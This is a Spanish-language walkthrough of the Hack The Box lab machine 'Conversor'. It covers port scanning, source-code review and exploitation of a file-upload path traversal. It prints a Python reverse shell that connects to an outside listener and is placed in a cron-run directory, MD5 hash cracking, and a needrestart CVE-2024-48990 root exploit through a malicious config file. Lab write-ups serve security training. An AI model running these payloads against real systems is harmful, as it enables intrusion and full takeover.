Conversor
Plataforma: Hack The Box
Dificultad: Easy

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN conversor.txt 10.129.17.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-08 17:28 -0300
Nmap scan report for 10.129.17.149
Host is up (0.81s latency).
Not shown: 40064 closed tcp ports (reset), 25469 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.85 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN conversor.txt: Guarda los resultados en el archivo “conversor.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 8.9p1 Ubuntu 3ubuntu0.13)
- 80/tcp - HTTP (Apache httpd 2.4.52)
Configuración del Host
El servidor indica el hostname conversor.htb, por lo que necesitamos agregar esta entrada al archivo /etc/hosts:
echo "10.129.17.149 conversor.htb" | sudo tee -a /etc/hosts
Enumeración
Enumeración Web
Al acceder a http://conversor.htb/ nos encontramos con un sistema de autenticación que incluye páginas de login y registro.
Página de Login
Accediendo a http://conversor.htb/login encontramos un formulario de autenticación simple:

Campos del formulario:
- Username
- Password
- Botón “Login”
- Link a “Register” para crear una cuenta
Página de Registro
En http://conversor.htb/register se encuentra el formulario de registro de nuevos usuarios:

Campos del formulario:
- Username
- Password
- Botón “Register”
- Link a “Login” para usuarios existentes
Endpoints identificados:
/login- Formulario de autenticación/register- Formulario de registro de usuarios
Funcionalidad Principal
Después de registrarnos e iniciar sesión, accedemos a la página principal de la aplicación en http://conversor.htb/:

Descripción de la funcionalidad:
La aplicación Conversor permite transformar escaneos de Nmap (archivos XML) en un formato más estético mediante hojas de estilo XSLT.
Características identificadas:
- Carga de archivos XML: Permite subir el output XML generado por Nmap
- Carga de archivos XSLT: Permite subir una hoja de estilo XSLT personalizada para transformar el XML
- Botón “Convert”: Procesa ambos archivos y genera el resultado transformado
- Download Template: Link para descargar una plantilla XSLT de ejemplo
- Your Uploaded Files: Sección que muestra los archivos previamente subidos
Navbar identificada:
- Home
- About
- Logout
Vector de ataque potencial:
El procesamiento de archivos XML y XSLT puede ser vulnerable a:
- XXE (XML External Entity Injection): Lectura de archivos del sistema
- XSLT Injection: Ejecución remota de código (RCE) mediante funciones XSLT maliciosas
Análisis de la Plantilla XSLT
Al descargar la plantilla desde el link “Download Template”, obtenemos el archivo nmap.xslt:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<html>
<head>
<title>Nmap Scan Results</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(120deg, #141E30, #243B55);
color: #eee;
margin: 0;
padding: 0;
}
<!-- Estilos CSS omitidos por brevedad -->
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<h3><xsl:value-of select="nmaprun/@args"/></h3>
<xsl:for-each select="nmaprun/host">
<div class="card">
<div class="host-header">
Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
<xsl:if test="hostnames/hostname/@name">
(<xsl:value-of select="hostnames/hostname/@name"/>)
</xsl:if>
</div>
<table>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>State</th>
</tr>
<xsl:for-each select="ports/port">
<tr>
<td><xsl:value-of select="@portid"/></td>
<td><xsl:value-of select="@protocol"/></td>
<td><xsl:value-of select="service/@name"/></td>
<td>
<xsl:attribute name="class">
<xsl:value-of select="state/@state"/>
</xsl:attribute>
<xsl:value-of select="state/@state"/>
</td>
</tr>
</xsl:for-each>
</table>
</div>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Análisis clave:
- Versión XSLT: 1.0
- Formato de salida: HTML
- Funcionalidad: Parsea el XML de Nmap y extrae información de hosts, puertos y servicios
- Procesador: Desconocido (podría ser libxslt, Saxon, Xalan, etc.)
Esta plantilla es legítima, pero puede ser modificada para incluir funciones XSLT peligrosas como:
document()- Para leer archivos externos del sistema- Extensiones PHP (si usa libxslt con PHP)
- Funciones Java (si usa Saxon)
Explotación
Descubrimiento del Código Fuente
Al explorar la página “About” (/about), encontramos un botón “Download Source Code” que revela el código fuente completo de la aplicación Flask.

Análisis del Código Fuente
Hallazgos críticos identificados:
- Secret Key débil:
app.secret_key = 'Changemeplease'
Esta clave estática podría permitir forjar sesiones de usuario.
- Hashing MD5 para contraseñas:
password = hashlib.md5(request.form['password'].encode()).hexdigest()
MD5 es un algoritmo de hash inseguro y obsoleto.
- Parser XML restrictivo:
parser = etree.XMLParser(resolve_entities=False, no_network=True,
dtd_validation=False, load_dtd=False)
Configuración de seguridad:
resolve_entities=False- Bloquea XXEno_network=True- Bloquea conexiones de red desde XMLdtd_validation=False- Deshabilita validación DTDload_dtd=False- No carga DTDs externas
Esto explica por qué los ataques XXE y document('file:///') fallaron.
- Procesamiento XSLT sin restricciones:
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
El XSLT se procesa sin configuraciones de seguridad, usando la biblioteca lxml.
- Biblioteca utilizada:
lxml
- Soporta XSLT 1.0
- NO tiene extensiones PHP habilitadas por defecto
- Pero sí permite otras funciones XSLT
- Ruta de archivos:
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
DB_PATH = '/var/www/conversor.htb/instance/users.db'
Descubrimiento de Cronjob
Al revisar el código fuente descargado, encontramos un archivo install.md que revela información crítica sobre el sistema:
Contenido de install.md:
## Cronjob Configuration
The application includes an automated script executor that runs every minute:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Análisis del cronjob:
- Se ejecuta cada minuto (
* * * * *) - Corre como usuario
www-data - Ejecuta todos los archivos
.pyen/var/www/conversor.htb/scripts/ - Utiliza Python 3 para ejecutar los scripts
Este cronjob representa un vector de ejecución remota de código si logramos escribir un archivo Python malicioso en el directorio scripts/.
Path Traversal via File Upload
Vulnerabilidad identificada
Al analizar el código de subida de archivos en app.py, identificamos una vulnerabilidad de Path Traversal:
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
# Vulnerable: No valida el nombre del archivo
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
Problema: La función os.path.join() no sanitiza el parámetro filename, permitiendo el uso de secuencias de path traversal como ../.
Explotación
Paso 1: Crear payload de reverse shell
cat > shell.py << 'EOF'
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.214", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
EOF
Paso 2: Generar archivo XML válido para Nmap
sudo nmap -p 80 127.0.0.1 -oX scan.xml
Paso 3: Configurar listener de netcat
nc -lvnp 4444
Paso 4: Interceptar request con Burp Suite y modificar el nombre del archivo
Subimos los archivos normalmente desde la interfaz web, pero interceptamos el request POST con Burp Suite para modificar el parámetro filename:

Modificación del request:
Content-Disposition: form-data; name="xslt_file"; filename="../scripts/shell.py"
Content-Type: application/octet-stream
El servidor guarda el archivo en:
/var/www/conversor.htb/uploads/../scripts/shell.py
→ /var/www/conversor.htb/scripts/shell.py
Paso 5: Esperar a que el cronjob ejecute el script (máximo 60 segundos)

Shell obtenida como www-data:
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.214] from (UNKNOWN) [10.129.17.149] 37240
bash: cannot set terminal process group (2707): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Estabilización de la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
User Flag
Exploración del Sistema
Una vez con acceso como www-data, exploramos el directorio de la aplicación:
www-data@conversor:/var/www/conversor.htb$ ls
app.py
app.wsgi
instance
__pycache__
scripts
static
templates
uploads
Descubrimiento de la Base de Datos
Navegamos al directorio instance donde encontramos la base de datos SQLite:
www-data@conversor:/var/www/conversor.htb/instance$ ls -la
total 32
drwxr-x--- 2 www-data www-data 4096 Feb 8 20:45 .
drwxr-x--- 8 www-data www-data 4096 Aug 14 21:34 ..
-rwxr-x--- 1 www-data www-data 24576 Feb 8 20:45 users.db
Analizamos la base de datos:
www-data@conversor:/var/www/conversor.htb/instance$ file users.db
users.db: SQLite 3.x database
www-data@conversor:/var/www/conversor.htb/instance$ sqlite3 users.db
sqlite> .tables
files sqlite_sequence users
sqlite> .schema users
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
);
sqlite> SELECT * FROM users;
1|corvus|5f4dcc3b5aa765d61d8327deb882cf99
2|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec

Usuarios encontrados:
corvus:5f4dcc3b5aa765d61d8327deb882cf99fismathack:5b5c3ac3a1c897c94caad48e6c71fdec
Crackeo de Hashes MD5
Guardamos los hashes en un archivo para crackearlos:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
echo "5b5c3ac3a1c897c94caad48e6c71fdec" >> hashes.txt
Utilizamos John the Ripper para crackear los hashes:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Resultados:
5b5c3ac3a1c897c94caad48e6c71fdec→Keepmesafeandwarm
El hash del usuario fismathack fue crackeado exitosamente.
Acceso SSH
Con las credenciales obtenidas, accedemos por SSH:
ssh fismathack@conversor.htb

Credenciales:
- Usuario:
fismathack - Contraseña:
Keepmesafeandwarm
Obtención de User Flag
fismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
23e4e289cb6f5c8b650a834b59869c76

Escalada de Privilegios
Enumeración de Privilegios
Verificamos los privilegios sudo del usuario fismathack:
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Hallazgo crítico: El usuario puede ejecutar /usr/sbin/needrestart como root sin contraseña.
Análisis de needrestart
Verificamos la versión instalada:
fismathack@conversor:~$ /usr/sbin/needrestart --version
needrestart 3.7 - Restart daemons after library updates.

Versión vulnerable: needrestart 3.7 es susceptible a CVE-2024-48990.
CVE-2024-48990 - Local Privilege Escalation
Descripción de la vulnerabilidad
CVE-2024-48990 es una vulnerabilidad de escalada de privilegios local en needrestart < 3.8 que permite la ejecución de código arbitrario como root.
Causa raíz:
- needrestart acepta el parámetro
-cpara especificar un archivo de configuración personalizado - El archivo de configuración se interpreta como código Perl
- No hay validación o sanitización del contenido del archivo
- Al ejecutar needrestart con sudo, el código Perl se ejecuta con privilegios de root
Referencias:
- CVE-2024-48990
- CWE-94: Improper Control of Generation of Code (‘Code Injection’)
Método 1: Usando system() directive
Creamos un archivo de configuración malicioso que ejecuta código mediante system():
cat > /tmp/exploit.conf << 'EOF'
BEGIN { system("/bin/sh") }
[needrestart]
EOF
Ejecutamos needrestart con el archivo de configuración malicioso:
sudo /usr/sbin/needrestart -c /tmp/exploit.conf

Resultado: Shell de root obtenida inmediatamente.
Método 2: Usando exec con privilegios preservados
Alternativamente, podemos usar exec para ejecutar una shell con privilegios preservados:
echo 'exec "/bin/sh","-p";' > /tmp/con.conf
sudo /usr/sbin/needrestart -c /tmp/con.conf

Resultado: Shell de root con privilegios completos.
Verificación de Privilegios Root
# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag
Con acceso como root, navegamos al directorio /root y leemos la flag:
# cd /root
# ls
root.txt scripts
# cat root.txt
bc02b37cab0cad541148760a003a2e53

Colaboradores
Este writeup fue elaborado en colaboración con:
- varovish89
- Blog: varovish.com
Agradecimiento especial por el trabajo conjunto en la resolución de esta máquina.
Máquina Conversor completada exitosamente.